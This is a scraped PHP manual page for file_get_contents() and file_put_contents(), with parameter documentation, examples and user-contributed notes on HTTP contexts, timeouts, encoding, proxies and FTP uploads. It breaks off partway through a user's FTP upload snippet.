This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.

file_get_contents() is the preferred way to read the contents of a file into a string. It will use memory mapping techniques if supported by your OS to enhance performance.

Note:

If you're opening a URI with special characters, such as spaces, you need to encode the URI with urlencode().

Parameters

filename

Name of the file to read.

use_include_path

Note:

As of PHP 5 the FILE_USE_INCLUDE_PATH constant can be used to trigger include path search.

context

A valid context resource created with stream_context_create(). If you don't need to use a custom context, you can skip this parameter by NULL.

offset

The offset where the reading starts on the original stream.

Seeking (offset) is not supported with remote files. Attempting to seek on non-local files may work with small offsets, but this is unpredictable because it works on the buffered stream.

maxlen

Maximum length of data read. The default is to read until end of file is reached. Note that this parameter is applied to the stream processed by the filters.

Return Values

The function returns the read data or FALSE on failure.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Errors/Exceptions

An E_WARNING level error is generated if filename cannot be found, maxlength is less than zero, or if seeking to the specified offset in the stream fails.

Examples

Example #1 Get and output the source of the homepage of a website

<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>

Example #2 Searching within the include_path

<?php
// <= PHP 5
$file = file_get_contents('./people.txt', true);
// > PHP 5
$file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
?>

Example #3 Reading a section of a file

<?php
// Read 14 characters starting from the 21st character
$section = file_get_contents('./people.txt', NULL, NULL, 20, 14);
var_dump($section);
?>

The above example will output something similar to:

string(14) "lle Bjori Ro"

Example #4 Using stream contexts

<?php
// Create a stream
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);

// Open the file using the HTTP headers set above
$file = file_get_contents('http://www.example.com/', false, $context);
?>

Changelog

Version | Description
5.1.0 | Added the offset and maxlen parameters.

Notes

Note: This function is binary-safe.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Warning

When using SSL, Microsoft IIS will violate the protocol by closing the connection without sending a close_notify indicator. PHP will report this as "SSL: Fatal Protocol Error" when you reach the end of the data. To work around this, the value of error_reporting should be lowered to a level that does not include warnings. PHP 4.3.7 and higher can detect buggy IIS server software when you open the stream using the https:// wrapper and will suppress the warning. When using fsockopen() to create an ssl:// socket, the developer is responsible for detecting and suppressing this warning.

See Also

  • file() - Reads entire file into an array
  • fgets() - Gets line from file pointer
  • fread() - Binary-safe file read
  • readfile() - Outputs a file
  • file_put_contents() - Write a string to a file
  • stream_get_contents() - Reads remainder of a stream into a string
  • stream_context_create() - Creates a stream context
  • $http_response_header

User Contributed Notes

srgold at hotmail dot com 13-Jul-2014 06:36
Be sure to remove newlines from variables when using file_get_contents, or you'll receive the following error:

file_get_contents(): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
luby dot pl at gmail dot com 20-Feb-2014 11:29
The funniest thing there is that seeking on non local files may, or may not work. This is unpredictable, and thus should throw rather than doing some magical stuff.
Also trying to read non local file which doesn't exists results in FALSE returned and no single warning emitted.
forestrf at gmail dot com 07-Jan-2014 12:31
It is important to write the method in capital letters like "GET" or "POST" and not "get" or "post". Some servers can respond a 400 error if you do not use caps in the method.
volkan-k at users dot sourceforge dot net 20-Mar-2013 06:08
If you are using file_get_contents() function to retrieve HTTP url and printing HTTP content, you can also send original content-type header using $http_response_header and header() function;

<?php

foreach ($http_response_header as $value) {
    if (preg_match('/^Content-Type:/i', $value)) {
        // Successful match
        header($value,false);
    }
}

?>
leomac at inbox dot ru 09-Oct-2012 06:29
Reading all script input is simple task with file_get_contents, but it depends on what SAPI is being used.

Only in Apache, not in CLI:
<?php
  $input = file_get_contents("php://input");
?>

Only in CLI, not in Apache:
<?php
  $input = file_get_contents("php://stdin");
?>

In Apache php://stdin will be empty, in CLI php://input will be empyt instead with no error indication.
andrew at 21cv dot co dot uk 02-Sep-2012 07:47
Negative offsets don't work as you might expect (like in http://php.net/substr for example)

So
<?php echo file_get_contents(__FILE__, false, null, -10) ?>
does the same as
<?php echo file_get_contents(__FILE__, false, null, 0) ?>

To get the last 10 characters of a file, you need to use
<?php echo file_get_contents (__FILE__, false, null, (filesize (__FILE__) - 10)) ?>
werdnanoslen at gmail dot com 09-Jun-2012 03:16
This is an easy way to trigger scripts by listening for POSTs. I simply point a service's webhook url to the script, which file_get_contents("php://input"), cast to an array, and then simplexml_load_string() to parse it and use one of the keys' data as the parameter for my script.
dustin at dumontproject dot com-spam sux 26-Apr-2012 06:25
For those who use file_get_contents for JSON or other RESTful services - like my architecture did for a big site - this will probably help a lot.

We struggled with having the site using get urls that would go through our load balancer instead of hitting the local server.

What we did was load this function through a local url and set the Host: header for our virtualhost entries on the site we wanted to laod.

This code solved our issue:
<?php

//set the header context stream for virtualhost lookup
$context = stream_context_create(array('http' => array('header' => 'Host: www.VIRTUALHOSTDOMAIN.com')));

//use a localhost url or alternatively 127.0.0.1 ip
$url = 'http://localhost/rest-service/?get-user&id=######';

//fetch the data through webserver using the Host http header we set
$data = json_decode(file_get_contents($url, 0, $context));

//verify you have your data
var_dump($data);

?>
Bart Friederichs 16-Apr-2012 09:17
file_get_contents can do a POST, create a context for that first:

$opts = array('http' =>
  array(
    'method'  => 'POST',
    'header'  => "Content-Type: text/xml\r\n".
      "Authorization: Basic ".base64_encode("$https_user:$https_password")."\r\n",
    'content' => $body,
    'timeout' => 60
  )
);

$context  = stream_context_create($opts);
$url = 'https://'.$https_server;
$result = file_get_contents($url, false, $context, -1, 40000);
pperegrina 22-Dec-2011 08:30
For those having this problem when trying to get_file_contents(url):

Warning: file_get_contents(url): failed to open stream: HTTP request failed!  in xx on line yy

If you are behind a SonicWall firewall, read this:
https://bugs.php.net/bug.php?id=40197
(this little line: uncheck a box in the internal settings of the firewall labled "Enforce Host Tag Search with for CFS")

Apparently by default SonicWall blocks any HTTP request without a "Host:" header, which is the case in the PHP get_file_contents(url) implementation.

This is why, if you try to get the same URL from the same machine with cURL our wget, it works.

I hope this will be useful to someone, it took me hours to find out :)
godwraith01 at yahoo dot com 11-Oct-2011 01:16
I experienced a problem in using hostnames instead straight IP with some server destinations.

If i use file_get_contents("www.jbossServer.example/app1",...)
i will get an 'Invalid hostname' from the server i'm calling.

This is because file_get_contents probably will rewrite your request after getting the IP, obtaining the same thing as :
file_get_contents("xxx.yyy.www.zzz/app1",...)

And you know that many servers will deny you access if you go through IP addressing in the request.

With cURL this problem doesn't exists. It resolves the hostname leaving the request as you set it, so the server is not rude in response.
fibrefox at dynamicfiles dot de 05-Jul-2011 02:45
If you want to insert tracking-scripts into your shopping-system, some scripts doesn't support intelligent detection of HTTPS, so i made a script i put on the server that rewrites 'http' to 'https' in the script, assuming everything has to be UTF-8 encoded (as a fallback it makes a redirect).

It is important that the HTTPS-source DOES exist!

<?php

function file_get_contents_utf8($fn) {
    $opts = array(
        'http' => array(
            'method'=>"GET",
            'header'=>"Content-Type: text/html; charset=utf-8"
        )
    );

    $context = stream_context_create($opts);
    $result = @file_get_contents($fn,false,$context);
    return $result;
}
header("Content-Type: text/html; charset=utf-8");
$tPath = "URL YOU WANT TO MODIFY";
$result = file_get_contents_utf8("http://".$tPath);

if( $result == false){
    header("Location: https://".$tPath); // fallback
    exit();
}
else{
    echo mb_ereg_replace("http","https",$result);
}
?>
eric at midkotasolutions dot com 04-Mar-2011 08:26
At least as of PHP 5.3, file_get_contents no longer uses memory mapping.

See comments on this bug report:

http://bugs.php.net/bug.php?id=52802
Stas Trefilov, OpteamIS 22-Feb-2011 04:30
here is another (maybe the easiest) way of doing POST http requests from php using its built-in capabilities. feel free to add the headers you need (notably the Host: header) to further customize the request.

note: this method does not allow file uploads. if you want to upload a file with your request you will need to modify the context parameters to provide multipart/form-data encoding (check out http://www.php.net/manual/en/context.http.php ) and build the $data_url following the guidelines on http://www.w3.org/TR/html401/interact/forms.html#h-17.13.4.2

<?php
/**
make an http POST request and return the response content and headers
@param string $url    url of the requested script
@param array $data    hash array of request variables
@return returns a hash array with response content and headers in the following form:
    array ('content'=>'<html></html>'
        , 'headers'=>array ('HTTP/1.1 200 OK', 'Connection: close', ...)
        )
*/
function http_post ($url, $data)
{
    $data_url = http_build_query ($data);
    $data_len = strlen ($data_url);

    return array ('content'=>file_get_contents ($url, false, stream_context_create (array ('http'=>array ('method'=>'POST'
            , 'header'=>"Connection: close\r\nContent-Length: $data_len\r\n"
            , 'content'=>$data_url
            ))))
        , 'headers'=>$http_response_header
        );
}
?>
Yoga Wibowo Aji 08-Feb-2011 06:10
read text per line and convert to array

for example, the input file is input.txt
the input file containt text below

one
two
three
four
five

++++++++++++++++++++++++++

read value per line

<?php
$data = file_get_contents("input.txt"); //read the file
$convert = explode("\n", $data); //create array separate by new line

for ($i=0;$i<count($convert);$i++)
{
    echo $convert[$i].', '; //write value by index
}
?>

++++++++++++++++++++++++++

Output :

one, two, three, four, five,
contact at webapp dot fr 31-Dec-2010 12:57
When using a URI with a login / password (HTTP or FTP, for an example), you may need to urlencode the password if it contains special characters.
Do not urlencode the whole URI, just the password.

Don't do :
urlencode('ftp://login:mdp%?special@host/dir/file')

Do :
'ftp://login:' . urlencode('mdp%?special') . '@host/dir/file';

Might seem obvious, but is worth noting.
slymak at gmail dot com 06-Dec-2010 12:07
If working file is bigger than 64kb and you getting deadlock. Your buffer is overflow. Here are two way how to avoid that.
1) use temporary file for descriptor
<?php
  $descriptorspec = array(
   0 => array("file", "/tmp/ens/a.ens","r"),  // stdin is a pipe that the child will read from
   1 => array("file", "/tmp/ens/a.html","w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/ens/error-output.txt", "a") // stderr is a file to write to
  );
?>

2) inline read using stream_set_blocking. PHP doesn't proper handle last part of file.
<?php
  $READ_LEN = 64*1024;
  $MAX_BUF_LEN = 2*$READ_LEN;

  $url = "http://some.domain.com:5984/".$db."/".$member."/contents";
  $src = fopen($url,"r");

  $cwd = '/tmp';
  $cmd['enscript'] = "/usr/bin/enscript";
  $cmd['enscript-options'] = " -q --language=html --color -Ejcl -o -";
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w")   // stdout is a pipe that the child will write to
  );

  $ph=proc_open($cmd['enscript']." ".$cmd['enscript-options'],$descriptorspec,$pipes,$cwd);

  stream_set_blocking($src,0);
  stream_set_blocking($pipes[0],0);
  stream_set_blocking($pipes[1],0);

  $CMD_OUT_OPEN = TRUE; $k = 0;
  while (!feof($pipes[1]) || !feof($src) || $k > 0) {
    if (!feof($src) && $k+$READ_LEN <= $MAX_BUF_LEN) {
      $input .= fread($src,$READ_LEN);
      $k = strlen($input);
    }
    if ($k > 0) {
      $l = fwrite($pipes[0],$input);
      $k -= $l;
      $input = substr($input,$l);
    }
    if ($CMD_OUT_OPEN && $k == 0 && feof($src)) {
      fclose($pipes[0]);
      $CMD_OUT_OPEN = FALSE;
    }
    $output = fread($pipes[1],$READ_LEN);
    $outputn = str_replace("<H1>(stdin)</H1>","",$output);
        echo $outputn;
  }

  fclose($pipes[1]);

  $return_value = proc_close($ph);
?>
Anonymous 04-Dec-2010 04:33
The offset is 0 based.  Setting it to 1 will skip the first character of the stream.
KrisWebDev 21-Nov-2010 10:17
If your file_get_contents freezes during several seconds, here is maybe your answer:

Beware that the default keepalive timeout of Apache 2.0 httpd is 15 seconds. This is true for HTTP/1.1 connections, which is not the default behavior of file_get_contents but you can force it, especially if you are trying to act as a web browser. I don't know if this is also the case for HTTP/1.0 connections.

Forcing the server to close the connection would make you gain those 15 seconds in your script:

<?php
$context = stream_context_create(array('http' => array('header'=>'Connection: close')));
$content = file_get_contents("http://www.example.com/test.html");
?>

Another way of resolving slowness issues is to use cURL or fsockopen. Bear in mind that contrary to the behavior of web browsers, file_get_contents doesn't return the result when the web page is fully downloaded (i.e. HTTP payload length = value of the response HTTP "Content-Length" header) but when the TCP connection is closed.
I hope this behavior will change in future releases of PHP.
This has been experienced with PHP 5.3.3.
vlad dot wing at gmail dot com 27-Mar-2010 11:03
If you want to check if the function returned error, in case of a HTTP request an, it's not sufficient to test it against false. It may happen the return for that HTTP request was empty. In this case it's better to check if the return value is a bool.

<?php
$result=file_get_contents("http://www.example.com");
if ($result === false)
{
    // treat error
} else {
    // handle good case
}
?>

[EDIT BY thiago: Has enhacements from an anonymous user]
rutger at webjin dot nl 14-Jan-2010 03:22
Sometimes you might get an error opening an http URL.
even though you have set "allow_url_fopen = On" in php.ini

For me the the solution was to also set "user_agent" to something.
ken at wetken dot net 28-Oct-2009 02:00
On Centos 5, and maybe other Red Hat based systems, any attempt to use file_get_contents to access a URL on an http  port other than 80 (e.g. "http://www.example.com:8040/page") may fail with a permissions violation (error 13) unless the box you are running php on has its seLinux set to 'permissive' not 'enforcing' . Otherwise the request doesn't even get out of the box, i.e. the permissions violation is generated locally by seLinux.
corey at effim dot com 09-Jun-2009 11:35
In my dev environment with a relatively low-speed drive (standard SATA 7200RPM) reading a 25MB zip file in 10 times...

<?php

$data = `cat /tmp/test.zip`;
// 1.05 seconds

$fh = fopen('/tmp/test.zip', 'r');
$data = fread($fh, filesize('/tmp/test.zip'));
fclose($fh);
// 1.31 seconds

$data = file_get_contents('/tmp/test.zip');
// 1.33 seconds

?>

However, on a 21k text file running 100 iterations...

<?php

$data = `cat /tmp/test.txt`;
// 1.98 seconds

$fh = fopen('/tmp/test.txt', 'r');
$data = fread($fh, filesize('/tmp/test.txt'));
fclose($fh);
// 0.00082 seconds

$data = file_get_contents('/tmp/test.txt');
// 0.0069 seconds

?>

Despite the comment about file_get_contents being faster do to memory mapping, file_get_contents is slowest in both of the above examples. If you need the best performance out of your production box, you might want to throw together a script to check out which method is fastest for what size files on that particular machine, then optimize your code to check the file size and use the appropriate function for it.
colnector bla-at_bla colnect.com 10-Aug-2008 11:34
A UTF-8 issue I've encountered is that of reading a URL with a non-UTF-8 encoding that is later displayed improperly since file_get_contents() related to it as UTF-8. This small function should show you how to address this issue:

<?php
function file_get_contents_utf8($fn) {
     $content = file_get_contents($fn);
      return mb_convert_encoding($content, 'UTF-8',
          mb_detect_encoding($content, 'UTF-8, ISO-8859-1', true));
}
?>
EOD 07-Aug-2008 02:34
if $filename has a relative path file_get_contents returns the uninterpreted sourcecode of the php-file with all comments etc.

I don't know whether this is a bug or intented or caused by server-configuration.

I think this behaviour should be included in the description of the function.
joachimb at gmail dot com 15-Apr-2008 11:38
Setting the timeout properly without messing with ini values:

<?php
$ctx = stream_context_create(array(
    'http' => array(
        'timeout' => 1
        )
    )
);
file_get_contents("http://example.com/", 0, $ctx);
?>
3n1gm4 [at] gmail [dot] com 02-Apr-2008 10:12
This is a nice and simple substitute to get_file_contents() using curl, it returns FALSE if $contents is empty.

<?php
function curl_get_file_contents($URL)
    {
        $c = curl_init();
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($c, CURLOPT_URL, $URL);
        $contents = curl_exec($c);
        curl_close($c);

        if ($contents) return $contents;
            else return FALSE;
    }
?>

Hope this help, if there is something wrong or something you don't understand let me know :)
php [spat] hm2k.org 16-Jan-2008 12:58
I decided to make a similar function to this, called file_post_contents, it uses POST instead of GET to call, kinda handy...

<?php
function file_post_contents($url,$headers=false) {
    $url = parse_url($url);

    if (!isset($url['port'])) {
      if ($url['scheme'] == 'http') { $url['port']=80; }
      elseif ($url['scheme'] == 'https') { $url['port']=443; }
    }
    $url['query']=isset($url['query'])?$url['query']:'';

    $url['protocol']=$url['scheme'].'://';
    $eol="\r\n";

    $headers =  "POST ".$url['protocol'].$url['host'].$url['path']." HTTP/1.0".$eol.
                "Host: ".$url['host'].$eol.
                "Referer: ".$url['protocol'].$url['host'].$url['path'].$eol.
                "Content-Type: application/x-www-form-urlencoded".$eol.
                "Content-Length: ".strlen($url['query']).$eol.
                $eol.$url['query'];
    $fp = fsockopen($url['host'], $url['port'], $errno, $errstr, 30);
    if($fp) {
      fputs($fp, $headers);
      $result = '';
      while(!feof($fp)) { $result .= fgets($fp, 128); }
      fclose($fp);
      if (!$headers) {
        //removes headers
        $pattern="/^.*\r\n\r\n/s";
        $result=preg_replace($pattern,'',$result);
      }
      return $result;
    }
}
?>
francois hill 03-Dec-2007 05:56
Seems file looks for the file inside the current working (executing) directory before looking in the include path, even with the FILE_USE_INCLUDE_PATH flag specified.

Same behavior as include actually.

By the way I feel the doc is not entirely clear on the exact order of inclusion (see include). It seems to say the include_path is the first location to be searched, but I have come across at least one case where the directory containing the file including was actually the first to be searched.

Drat.
bearachute at gmail dot com 11-Jul-2007 11:38
If you're having problems with binary and hex data:

I had a problem when trying to read information from a ttf, which is primarily hex data. A binary-safe file read automatically replaces byte values with their corresponding ASCII characters, so I thought that I could use the binary string when I needed readable ASCII strings, and bin2hex() when I needed hex strings.

However, this became a problem when I tried to pass those ASCII strings into other functions (namely gd functions). var_dump showed that a 5-character string contained 10 characters, but they weren't visible. A binary-to-"normal" string conversion function didn't seem to exist and I didn't want to have to convert every single character in hex using chr().

I used unpack with "c*" as the format flag to see what was going on, and found that every other character was null data (ordinal 0). To solve it, I just did

str_replace(chr(0), "", $string);

which did the trick.

This took forever to figure out so I hope this helps people reading from hex data!
Greg Ambrose (greg at catalina-it dot com dot au) 17-Apr-2007 06:37
[Editors note: As of PHP 5.2.1 you can specify `timeout` context option and pass the context to file_get_contents()]

The only way I could get get_file_contents() to wait for a very slow http request was to set the socket timeout as follows.

 ini_set('default_socket_timeout',    120);
$a = file_get_contents("http://abcxyz.com");

Other times like execution time and input time had no effect.
siegfri3d at gmail dot com 05-Dec-2006 09:52
Use the previous example if you want to request the server for a special part of the content, IF and only if the server accepts the method.
If you want a simple example to ask the server for all the content, but only save a portion of it, do it this way:
<?php
$content=file_get_contents("http://www.google.com",FALSE,NULL,0,20);
echo $content;
?>

This will echo the 20 first bytes of the google.com source code.
fcicqbbs at gmail dot com 04-Aug-2006 10:55
the bug #36857 was fixed.
http://bugs.php.net/36857

Now you may use this code,to fetch the partial content like this:
<?php
$context=array('http' => array ('header'=> 'Range: bytes=1024-', ),);
$xcontext = stream_context_create($context);
$str=file_get_contents("http://www.fcicq.net/wp/",FALSE,$xcontext);
?>
that's all.
richard dot quadling at bandvulc dot co dot uk 15-Nov-2005 11:47
If, like me, you are on a Microsoft network with ISA server and require NTLM authentication, certain applications will not get out of the network. SETI@Home Classic and PHP are just 2 of them.

The workaround is fairly simple.

First you need to use an NTLM Authentication Proxy Server. There is one written in Python and is available from http://apserver.sourceforge.net/. You will need Python from http://www.python.org/.

Both sites include excellent documentation.

Python works a bit like PHP. Human readable code is handled without having to produce a compiled version. You DO have the opportunity of compiling the code (from a .py file to a .pyc file).

Once compiled, I installed this as a service (instsrv and srvany - parts of the Windows Resource Kit), so when the server is turned on (not logged in), the Python based NTLM Authentication Proxy Server is running.

Then, and here is the bit I'm really interested in, you need to tell PHP you intend to route http/ftp requests through the NTLM APS.

To do this, you use contexts.

Here is an example.

<?php

// Define a context for HTTP.
$aContext = array(
    'http' => array(
        'proxy' => 'tcp://127.0.0.1:8080', // This needs to be the server and the port of the NTLM Authentication Proxy Server.
        'request_fulluri' => True,
        ),
    );
$cxContext = stream_context_create($aContext);

// Now all file stream functions can use this context.

$sFile = file_get_contents("http://www.php.net", False, $cxContext);

echo $sFile;
?>

Hopefully this helps SOMEONE!!!
aidan at php dot net 31-Jan-2005 08:23
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Write a string to a file

  • « file_get_contents
  • file »
  • PHP Manual
  • Filesystem Functions
  • Write a string to a file

file_put_contents

(PHP 5)

file_put_contents — Write a string to a file

Description

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

This function is identical to calling fopen(), fwrite() and fclose() successively to write data to a file.

If filename does not exist, the file is created. Otherwise, the existing file is overwritten, unless the FILE_APPEND flag is set.

Parameters

filename

Path to the file where to write the data.

data

The data to write. Can be either a string, an array or a stream resource.

If data is a stream resource, the remaining buffer of that stream will be copied to the specified file. This is similar with using stream_copy_to_stream().

You can also specify the data parameter as a single dimension array. This is equivalent to file_put_contents($filename, implode('', $array)).

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

Available flags
Flag | Description
FILE_USE_INCLUDE_PATH | Search for filename in the include directory. See include_path for more information.
FILE_APPEND | If file filename already exists, append the data to the file instead of overwriting it.
LOCK_EX | Acquire an exclusive lock on the file while proceeding to the writing.

context

A valid context resource created with stream_context_create().

Return Values

This function returns the number of bytes that were written to the file, or FALSE on failure.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 Simple usage example

<?php
$file = 'people.txt';
// Open the file to get existing content
$current = file_get_contents($file);
// Append a new person to the file
$current .= "John Smith\n";
// Write the contents back to the file
file_put_contents($file, $current);
?>

Example #2 Using flags

<?php
$file = 'people.txt';
// The new person to add to the file
$person = "John Smith\n";
// Write the contents to the file,
// using the FILE_APPEND flag to append the content to the end of the file
// and the LOCK_EX flag to prevent anyone else writing to the file at the same time
file_put_contents($file, $person, FILE_APPEND | LOCK_EX);
?>

Changelog

Version | Description
5.1.0 | Added support for LOCK_EX and the ability to pass a stream resource to the data parameter

Notes

Note: This function is binary-safe.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

See Also

  • fopen() - Opens file or URL
  • fwrite() - Binary-safe file write
  • file_get_contents() - Reads entire file into a string
  • stream_context_create() - Creates a stream context

User Contributed Notes

gurjindersingh at SPAM dot hotmail dot com 19-Oct-2014 03:03
File put contents fails if you try to put a file in a directory that doesn't exist. This function creates the directory.

i have updated code of "TrentTompkins at gmail dot com". thanks
<?php
/**
 * @param string $filename <p>file name including folder.
 * example :: /path/to/file/filename.ext or filename.ext</p>
 * @param string $data <p> The data to write.
 * </p>
 * @param int $flags same flags used for file_put_contents.
 * more info: http://php.net/manual/en/function.file-put-contents.php
 * @return bool <b>TRUE</b> file created succesfully <br> <b>FALSE</b> failed to create file.
 */
function file_force_contents($filename, $data, $flags = 0){
    if(!is_dir(dirname($filename)))
        mkdir(dirname($filename).'/', 0777, TRUE);
    return file_put_contents($filename, $data,$flags);
}
// usage

file_force_contents('test1.txt','test1 content');  // test1.txt created

file_force_contents('test2/test2.txt','test2 content');
// test2/test2.txt created "test2" folder.

file_force_contents('~/test3/test3.txt','test3 content');
// /path/to/user/directory/test3/test3.txt created "test3" folder in user directory (check on linux "ll ~/ | grep test3").
?>
klunker dot roox at gmail dot com 17-Oct-2014 07:47
if path to the file not exist function file_put_contents can't create it. This simple function make it on UNIX-based and Windows servers.
<?php
function file_put_contents_force(){
    $args = func_get_args();
    $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $args[0]);
    $parts = explode(DIRECTORY_SEPARATOR, $path);
    array_pop($parts);
    $directory =  '';
    foreach($parts as $part):
        $check_path = $directory.$part;
            if( is_dir($check_path.DIRECTORY_SEPARATOR) === FALSE) {
                mkdir($check_path, 0755);
            }
            $directory = $check_path.DIRECTORY_SEPARATOR;
    endforeach;
    call_user_func_array('file_put_contents',$args);
}
?>
chris at ocportal dot com 28-Jul-2013 08:13
It's important to understand that LOCK_EX will not prevent reading the file unless you also explicitly acquire a read lock (shared locked) with the PHP 'flock' function.

i.e. in concurrent scenarios file_get_contents may return empty if you don't wrap it like this:

<?php
$myfile=fopen('test.txt','rt');
flock($myfile,LOCK_SH);
$read=file_get_contents('test.txt');
fclose($myfile);
?>

If you have code that does a file_get_contents on a file, changes the string, then re-saves using file_put_contents, you better be sure to do this correctly or your file will randomly wipe itself out.
michel kollenhoven 19-Jul-2013 06:35
re: moura dot kadu at gmail dot com

why not ? file_put_contents('ftp://user:pass@server/path/to/file',$data);
vahkos at mail dot ru 23-Jan-2012 05:06
file_put_contents does not issue an error message if file name is incorrect(for example has improper symbols on the end of it /n,/t)
that is why use trim() for file name.
$name=trim($name);
file_put_contents($name,$content);
caiofior at gmail dot com 27-Oct-2011 10:56
I had some troubles using file_put_contents with an absolute but no canonicalized path (eg. w:/htdocs/pri/../test/log.txt): on windows environment php was unable to create the file also using the realpath function .
I had to use fopen and frwite functions to write the data.
moura dot kadu at gmail dot com 23-Sep-2011 09:18
I made ​​a ftp_put_contents function.

hope you enjoy.

<?php

function ftp_put_contents($fpc_path_and_name, $fpc_content) {

    //Temporary folder in the server
    $cfg_temp_folder = str_replace("//", "/", $_SERVER['DOCUMENT_ROOT']."/_temp/");

    //Link to FTP
    $cfg_ftp_server = "ftp://ftp.com";

    //FTP username
    $cfg_user = "user";

    //FTP password
    $cfg_pass = "password";

    //Document Root of FTP
    $cfg_document_root = "DOCUMENT ROOT OF FTP";

    //Link to the website
    $cfg_site_link = "Link to the website";

    //Check if conteins slash on the path of the file
    $cotains_slash = strstr($fpc_path_and_name, "/");

    //Get filename and paths
    if ($cotains_slash) {
        $fpc_path_and_name_array = explode("/", $fpc_path_and_name);
        $fpc_file_name = end($fpc_path_and_name_array);
    }
    else {
        $fpc_file_name = $fpc_path_and_name;
    }

    //Create local temp dir
    if (!file_exists($cfg_temp_folder)) {
        if (!mkdir($cfg_temp_folder, 0777)) {
            echo "Unable to generate a temporary folder on the local server - $cfg_temp_folder.<br />";
            die();
        }
    }

    //Create local file in temp dir
    if (!file_put_contents(str_replace("//", "/", $cfg_temp_folder.$fpc_file_name), $fpc_content)) {
        echo "Unable to generate the file in the temporary location - ".str_replace("//", "/", $cfg_temp_folder.$fpc_file_name).".<br />";
        die();
    }

    //Connection to the FTP Server
    $fpc_ftp_conn = ftp_connect("$cfg_ftp_server");

    //Check connection
    if (!$fpc_ftp_conn) {
        echo "Could not connect to server <b>$cfg_ftp_server</b>.<br />";
        die();
    }
    else {

        // login
        // check username and password
        if (!ftp_login($fpc_ftp_conn, "$cfg_user", "$cfg_pass")) {
            echo "User or password.<br />";
            die();
        }
        else {

            //Document Root
            if (!ftp_chdir($fpc_ftp_conn, $cfg_document_root)) {
                echo "Error to set Document Root.<br />";
                die();
            }

            //Check if there are folders to create
            if ($cotains_slash) {

                //Check if have folders and is not just the file name
                if (count($fpc_path_and_name_array) > 1) {

                    //Remove last array
                    $fpc_remove_last_array = array_pop($fpc_path_and_name_array);

                    //Checks if there slashs on the path
                    if (substr($fpc_path_and_name,0,1) == "/") {
                        $fpc_remove_first_array = array_shift($fpc_path_and_name_array);
                    }

                    //Create each folder on ftp
                    foreach ($fpc_path_and_name_array as $fpc_ftp_path) {
                        if (!@ftp_chdir($fpc_ftp_conn, $fpc_ftp_path)) {
                            if (!ftp_mkdir($fpc_ftp_conn, $fpc_ftp_path)) {
                                echo "Error creating directory $fpc_ftp_path.<br />";
                            }
                            else {
                                if (!ftp_chdir($fpc_ftp_conn, $fpc_ftp_path)) {
                                    echo "Error go to the directory $fpc_ftp_path.<br />";
                                }
                            }
                        }
                    }
                }
                else {

                }
            }

            //Check upload file
            if (!ftp_put($fpc_ftp_conn, $fpc_file_name, str_replace("//", "/", $cfg_temp_folder.$fpc_file_name), FTP_ASCII)) {
                echo "File upload <b>$fpc_path_and_name</b> failed!<br />";
                die();
            }
            else {
                if (!unlink(str_replace("//", "/", $cfg_temp_folder.$fpc_file_name))) {
                    echo "Error deleting temporary file.<br />";
                    die();
                }
                else {
                    echo "File upload <a href='$cfg_site_link".str_replace("//", "/", "/$fpc_path_and_name")."'><b>$cfg_site_link".str_replace("//", "/", "/$fpc_path_and_name")."</a></b> successfully performed.<br />";
                }
            }

            //Close connection to FTP server
            ftp_close($fpc_ftp_conn);
        }
    }
}

#Sample

$content_file = "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\">
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Title</title>
</head>
<body>
<p>Test</p>
</body>
</html>";

ftp_put_contents("test.php", $content_file);
?>
justin dot carlson at gmail dot com 16-Aug-2011 05:28
It should be obvious that this should only be used if you're making one write, if you are writing multiple times to the same file you should handle it yourself with fopen and fwrite, the fclose when you are done writing.

Benchmark below:

file_put_contents() for 1,000,000 writes - average of 3 benchmarks:

 real 0m3.932s
 user 0m2.487s
 sys 0m1.437s

fopen() fwrite() for 1,000,000 writes, fclose() -  average of 3 benchmarks:

 real 0m2.265s
 user 0m1.819s
 sys 0m0.445s
Brandon Lockaby 08-Jul-2011 07:56
Calling file_put_contents within a destructor will cause the file to be written in SERVER_ROOT...
ravianshmsr08 at gmail dot com 15-Dec-2010 10:39
To upload file from your localhost to any FTP server.
pease note 'ftp_chdir' has been used instead of putting direct remote file path....in ftp_put ...remoth file should be only file name

<?php
$host = '*****';
$usr = '*****';
$pwd = '**********';
$local_file = './orderXML/order200.xml';
$ftp_path = 'order200.xml';
$conn_id = ftp_connect($host, 21) or die ("Cannot connect to host");
ftp_pasv($resource, true);
ftp_login($conn_id, $usr, $pwd) or die("Cannot login");
// perform file upload
ftp_chdir($conn_id, '/public_html/abc/');
$upload = ftp_put($conn_id, $ftp_path, $local_file, FTP_ASCII);
if($upload) { $ftpsucc=1; } else { $ftpsucc=0; }
// check upload status:
